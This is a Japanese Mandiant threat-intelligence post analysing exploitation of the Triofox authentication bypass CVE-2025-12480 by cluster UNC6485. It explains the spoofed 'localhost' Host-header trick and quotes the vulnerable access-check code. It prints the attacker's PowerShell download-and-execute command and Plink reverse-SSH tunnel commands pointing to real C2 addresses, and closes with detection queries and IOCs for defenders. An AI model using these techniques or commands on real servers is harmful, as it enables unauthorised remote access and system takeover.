コンテンツに移動
脅威インテリジェンス

Localhost のような所は他にない: Triofox 脆弱性 CVE-2025-12480 を利用した未認証のリモートアクセス

2025年12月10日
Mandiant

 


※この投稿は米国時間 2025 年 11 月 11 日に、Google Cloud blog に投稿されたものの抄訳です。

「最前線からの速報」シリーズへようこそ

Mandiant Threat Defense から直接お届けする「最前線からの速報」シリーズでは、実環境で今まさに発生している脅威に関する最新情報をお届けすることで、Mandiant が観測している脅威をサイバー セキュリティ分野の関係者が理解し、これに対応できるようにしています。

はじめに

Mandiant Threat Defense は、Gladinet のファイル共有とリモート アクセス プラットフォームである Triofox 内の未認証のアクセス脆弱性の悪用を発見しました。現在はパッチが適用されているこの n 日目の脆弱性(CVE-2025-12480)により、攻撃者は認証をバイパスしてアプリケーション構成ページにアクセスし、任意のペイロードをアップロードして実行できるようになっていました。

2025 年 8 月 24 日には、Google Threat Intelligence グループ(GTIG)が UNC6485 として追跡している脅威クラスタが、未認証のアクセス脆弱性を悪用し、組み込みのウイルス対策機能の悪用と組み合わせてコード実行を実現しました。

このブログ投稿で説明されているアクティビティは、Triofox バージョン 16.4.10317.56372 の脆弱性を利用したもので、この脆弱性はリリース 16.7.10368.56560 で修正されました。

Gladinet は調査結果について Mandiant と連携し、Mandiant はこの脆弱性が Triofox の新しいバージョンで解決されていることを検証しました。

初期検出

Mandiant は、Google Security Operations(SecOps)を活用して、顧客ベース全体でセキュリティ インシデントの検出、調査、対応を行っています。Google Cloud Security の責任共有モデルの一環として、SecOps は、お客様が企業に対する脅威を特定できるように設計された、標準で提供される検出コンテンツを提供します。Mandiant は、SecOps の複合検出機能を使用して、複数のルールからの出力を関連付けることで検出体制を強化しています。

この調査では、Mandiant は、お客様の Triofox サーバーで脅威アクターの活動の可能性を特定する複合検出アラートを受け取りました。このアラートは、リモート アクセス ユーティリティのデプロイと使用(PLINK を使用して RDP を外部にトンネリング)と、潜在的なステージング ディレクトリでのファイル アクティビティ(C:\WINDOWS\Temp へのファイルのダウンロード)を特定しました。

調査開始から 16 分以内に、Mandiant は脅威を確認し、ホストの封じ込めを開始しました。調査の結果、未認証のアクセス脆弱性が明らかになり、構成ページにアクセスできるようになっていました。UNC6485 はこれらのページを使用して、Triofox の初期のセットアップ プロセスを実行し、新しいネイティブ管理者アカウント「Cluster Admin」を作成しました。その後、このアカウントを使用して後続の操作を行いました。

Triofox の未認証のアクセス制御の脆弱性

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig1.max-2100x2100.png

図 1: CVE-2025-12480 の悪用チェーン

Mandiant の調査中、HTTP ログファイルに異常なエントリが特定されました。localhost を含む HTTP Referer URL を使用した、不審な HTTP GET リクエストです。外部ソースから発信されたリクエストに localhost Host ヘッダーが存在することは非常に異常であり、通常は正規のトラフィックでは想定されません。

GET /management/CommitPage.aspx - 443 - 85.239.63[.]37 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/101.0.4951.41+Safari/537.36 http://localhost/management/AdminAccount.aspx 302 0 0 56041

図 2: HTTP ログエントリ

テスト環境では、AdminAccount.aspx に発行された標準の HTTP リクエストは、アクセス拒否ページにリダイレクトされることが Mandiant によって確認されました。これは、このページにアクセス制御が設定されていることを示しています。

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig3.max-1000x1000.png

図 3: AdminAccount.aspx を閲覧しようとすると AccessDenied.aspx にリダイレクトされる

AdminAccount.aspx ページへのアクセス権は、AdminDatabase.aspx の初期構成ページからセットアップの一部として付与されます。AdminDatabase.aspx ページは、Triofox ソフトウェアを初めてインストールした後に自動的に起動します。このページでは、データベースの選択(Postgres または MySQL)、LDAP アカウントの接続、新しいネイティブ クラスタ管理者アカウントの作成などのオプションを使用して、Triofox インスタンスを設定できます。AdminDatabase.aspx ページにアクセスしようとすると、同様に「アクセスが拒否されました」ページにリダイレクトされました。

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig4.max-900x900.png

図 4: AdminDatabase.aspx を閲覧しようとすると AccessDenied.aspx にリダイレクトされる

Mandiant は、セットアップ プロセスのワークフローをテストして、脆弱性を検証しました。Host ヘッダー フィールドはウェブ クライアントによって提供され、攻撃者が簡単に変更できます。この手法は、HTTP Host ヘッダー攻撃と呼ばれます。Host の値を localhost に変更すると、AdminDatabase.aspx ページにアクセスできるようになります。

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig5.max-700x700.png

図 5: Host ヘッダーを localhost に変更して AdminDatabase.aspx へのアクセスを許可

セットアップ プロセスに沿って AdminDatabase.aspx ページから新しいデータベースを作成すると、管理者の初期化ページである AdminAccount.aspx にアクセスできるようになります。このページから InitAccount.aspx ページにリダイレクトされ、新しい管理者アカウントが作成されます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig6.max-900x900.png

図 6: AdminCreation ページの InitAccount.aspx へのアクセスに成功

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig7a.max-1200x1200.png

図 7: 管理ページ

コードベースの分析により、AdminDatabase.aspx ページへのメインのアクセス制御チェックは、C:\Program Files (x86)\Triofox\portal\bin\GladPageUILib.dll にある GladPageUILib.GladBasePage クラス内の関数 CanRunCrticalPage() によって制御されていることがわかりました。

public bool CanRunCriticalPage()
{
    Uri url = base.Request.Url;
    string host = url.Host;
    bool flag = string.Compare(host, "localhost", true) == 0; //Access to the page is granted if Request.Url.Host equals 'localhost', immediately skipping all other checks if true

    bool result;
    if (flag)
    {
        result = true;
    }
    else
    {
       //Check for a pre-configured trusted IP in the web.config file. If configured, compare the client IP with the trusted IP to grant access
 
string text = ConfigurationManager.AppSettings["TrustedHostIp"];
        bool flag2 = string.IsNullOrEmpty(text);
        if (flag2)
        {
            result = false;
        }
        else
        {
            string ipaddress = this.GetIPAddress();
            bool flag3 = string.IsNullOrEmpty(ipaddress);
            if (flag3)
            {
                result = false;
            }
            else
            ...
           

図 8: CanRunCrticalPage() 関数中の脆弱なコード 

コード スニペットに記載されているように、このコードにはいくつかの脆弱性があります。

  • Hostヘッダー攻撃 - ASP.NET は、攻撃者が変更できる HTTP Host ヘッダーから Request.Url を構築します。

  • オリジン検証なし - リクエストが実際の localhost 接続から来たものか、スプーフィングされたヘッダーから来たものかを確認しません。

  • 構成の依存関係 - TrustedHostIP が構成されていない場合、唯一の保護は Host ヘッダーのチェックです。

Triofox のウイルス対策機能の悪用

コードを実行するために、攻撃者は新しく作成した管理者アカウントを使用してログインしました。攻撃者は、組み込みのウイルス対策機能を使用して、ファイルを実行する意図を持って、悪意のあるファイルをアップロードしました。ウイルス対策機能を設定するには、ユーザーが選択したウイルス対策の任意のパスを指定できるようにします。ウイルス対策スキャナの場所として構成されたファイルは、Triofox の親プロセス アカウントの権限を継承し、SYSTEM アカウントのコンテキストで実行されます。

攻撃者は、ウイルス対策エンジンのパスを自分のスクリプトを指すように構成することで、悪意のあるバッチ スクリプトを実行できました。Triofox アプリケーション内で新しい共有を公開すると、共有フォルダのディスク上のフォルダパスが表示されます。その後、Triofox インスタンス内の公開された共有に任意のファイルをアップロードすると、構成されたスクリプトが実行されます。

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig9.max-1100x1100.png

図 9: ウイルス対策エンジンのパスが、悪意のあるバッチ スクリプトに設定されている

SecOps テレメトリーは、攻撃者のスクリプトの次のコマンドライン実行を記録しました。

C:\Windows\system32\cmd.exe /c ""c:\triofox\centre_report.bat" C:\Windows\TEMP\eset_temp\ESET638946159761752413.av"

脆弱性悪用後のアクティビティ

https://storage.googleapis.com/gweb-cloudblog-publish/images/triofox-vulnerability-fig10a.max-800x800.jpg

図 10: 脆弱性悪用後のアクティビティの概要

サポートツールのデプロイ

攻撃者のスクリプト centre_report.bat は、次の PowerShell コマンドを実行して第 2 段階のペイロードをダウンロードし、実行しました。

powershell -NoProfile -ExecutionPolicy Bypass -Command "$url = 'http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip'; $out = 'C:\\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe'; Invoke-WebRequest -Uri $url -OutFile $out; Start-Process $out -ArgumentList '/silent' -Wait"

PowerShell ダウンローダは、以下のように設計されています。

  • http://84.200.80[.]252/SAgentInstaller_16.7.10368.56560.zip からペイロードをダウンロード。ZIP 拡張子にもかかわらず、偽装された実行可能ファイルがホストされていた

  • ペイロードを C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe に保存

  • ペイロードをサイレントに実行

実行されたペイロードは、Zoho Unified Endpoint Management System(UEMS)ソフトウェア インストーラの正規のコピーでした。攻撃者は UEMS エージェントを使用して、Zoho Assist と Anydesk のリモート アクセス ユーティリティをホストにデプロイしました。

偵察と権限昇格

攻撃者は Zoho Assist を使用してさまざまなコマンドを実行し、アクティブな SMB セッションと、特定のローカル ユーザーとドメイン ユーザーの情報を列挙しました。

さらに、既存のアカウントのパスワードを変更し、ローカル管理者と「Domain Admins」グループにアカウントを追加しようとしました。

防御回避

攻撃者は、sihosts.exesilcon.exe(正規のドメイン the.earth[.]li から取得)をディレクトリ C:\windows\temp\ にダウンロードしました。

ファイル名 

元のファイル名

説明

sihosts.exe

Plink(PuTTY リンク)

SSH 接続を作成するための一般的なコマンドライン ユーティリティ

silcon.exe

PuTTY

SSH および telnet クライアント

これらのツールは、侵害されたホストをコマンド&コントロール(C2 または C&C)サーバーに SSH 経由でポート 433 で接続する、暗号化されたトンネルをセットアップするために使用されました。その後、C2 サーバーは、トンネルを介してすべてのトラフィックをポート 3389 の侵害されたホストに転送し、インバウンド RDP トラフィックを許可します。コマンドは次のパラメータで実行されました。

C:\windows\temp\sihosts.exe -batch -hostkey "ssh-rsa 2048 SHA256:<REDACTED>" -ssh -P 433 -l <REDACTED> -pw <REDACTED> -R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

C:\windows\temp\silcon.exe  -ssh -P 433 -l <REDACTED> -pw <REDACTED>-R 216.107.136[.]46:17400:127.0.0.1:3389 216.107.136[.]46

まとめ

この脆弱性は Triofox バージョン 16.7.10368.56560 で修正されていますが、Mandiant は最新リリースへのアップグレードを推奨しています。また、Mandiant は、管理者アカウントの監査と、Triofox のウイルス対策エンジンが不正なスクリプトやバイナリを実行するように構成されていないことの確認を推奨しています。セキュリティ チームは、この投稿の最後に記載されているハンティング クエリを使用して攻撃者のツールをハンティングし、異常なアウトバウンド SSH トラフィックを監視する必要があります。

謝辞

Elvis Miezitis、Chris Pickett、Moritz Raabe、Angelo Del Rosario、Lampros Noutsos に感謝します

Google SecOps による検出

Google SecOps のお客様は、Mandiant Windows Threats ルールパックで、これらの幅広いカテゴリのルールやその他のルールにアクセスできます。このブログ投稿で取り上げた活動は、Google SecOps において以下のルール名で検出されています。

  • Gladinet または Triofox IIS Worker が CMD を生成

  • Gladinet または Triofox の不審なファイルまたはディレクトリ アクティビティ

  • Gladinet Cloudmonitor が不審な子プロセスを起動

  • Powershell Download and Execute

  • AppCompat へのファイル書き込み

  • 名前が変更された不審な AnyDesk インストール

  • Triofox ディレクトリ内の不審なアクティビティ

  • AppCompat からの不審な実行

  • SSH リバース トンネル経由の RDP プロトコル手法

  • Plink EXE トンネラー

  • Net User ドメイン列挙

SecOps の検知クエリ

以下の UDM クエリを使用して、環境内における侵害の可能性を特定できます。

GladinetCloudMonitor.exe が Windows コマンドシェルを生成

Windows コマンドシェルを生成する正規の GladinetCloudMonitor.exe プロセスを特定する。

metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /GladinetCloudMonitor\.exe/ nocase
target.process.file.full_path = /cmd\.exe/ nocase

ユーティリティの実行

リバース SSH トンネルを確立しようとする、名前が変更された Plink 実行可能ファイル(sihosts.exe)または名前が変更された PuTTy 実行可能ファイル(silcon.exe)の実行を特定する。

metadata.event_type = "PROCESS_LAUNCH"
target.process.command_line = /-R\b/
(
target.process.file.full_path = /(silcon\.exe|sihosts\.exe)/ nocase or
(target.process.file.sha256 = "50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7" and target.process.file.full_path != /plink\.exe/ nocase) or
(target.process.file.sha256 = "16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad" and target.process.file.full_path != /putty\.exe/ nocase)
)

セキュリティ侵害インジケーター(IOC)

登録済みユーザーの方は、以下の IOC を Google Threat Intelligence(GTI)コレクションで利用できます

注: 以下の表には、正規のツールの名前が変更されたインスタンスであるアーティファクトが含まれています。

ホストベースのアーティファクト

アーティファクト

説明

SHA-256 ハッシュ

C:\Windows\appcompat\SAgentInstaller_16.7.10368.56560.exe

Zoho UEMS エージェントを含むインストーラ

43c455274d41e58132be7f66139566a941190ceba46082eb2ad7a6a261bfd63f

C:\Windows\temp\sihosts.exe

Plink

50479953865b30775056441b10fdcb984126ba4f98af4f64756902a807b453e7

C:\Windows\temp\silcon.exe

PuTTy

16cbe40fb24ce2d422afddb5a90a5801ced32ef52c22c2fc77b25a90837f28ad

C:\Windows\temp\file.exe

AnyDesk

ac7f226bdf1c6750afa6a03da2b483eee2ef02cd9c2d6af71ea7c6a9a4eace2f

C:\triofox\centre_report.bat

攻撃者のバッチ スクリプトのファイル名

なし

ネットワークベースのアーティファクト

IP アドレス

ASN

説明

85.239.63[.]37

AS62240 - Clouvider Limited

攻撃者が CVE-2025-12480 を最初に悪用して管理者アカウントを作成し、Triofox インスタンスにアクセスするために使用した IP アドレス

65.109.204[.]197

AS24950 - Hetzner Online GmbH

脅威アクターは、休眠期間の後、この IP アドレスを使用して Triofox インスタンスに再ログインし、その後の活動を実行しました。

84.200.80[.]252

AS214036 - Ultahost, Inc.

Zoho UEMSAgent リモート アクセス ツールのインストーラをホストする IP アドレス

216.107.136[.]46

AS396356 - LATITUDE-SH

Plink C2

- Mandiant、執筆者: Stallone D'Souza、Praveeth DSouza、Bill Glynn、Kevin O'Flynn、Yash Gupta

投稿先